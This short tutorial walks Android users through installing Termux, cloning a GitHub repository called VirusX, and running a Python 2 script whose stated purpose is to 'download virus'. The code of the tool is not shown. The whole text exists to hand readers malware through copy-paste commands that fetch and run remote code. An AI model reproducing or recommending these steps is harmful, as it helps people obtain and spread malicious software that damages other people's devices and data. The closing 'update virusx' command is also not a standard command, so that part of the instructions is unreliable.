First of all install Termux app on your android phone.
After that, open Termux
Type below command
$ apt update && apt upgrade
$ apt install git
$ pkg install python
$ git clone https://github.com/TSMaitry/VirusX.git
$ cd VirusX
$ chmod +x VirusX.py
$ python2 VirusX.py
Type "run" to download virus.
To update VirusX Just type:
$ update virusx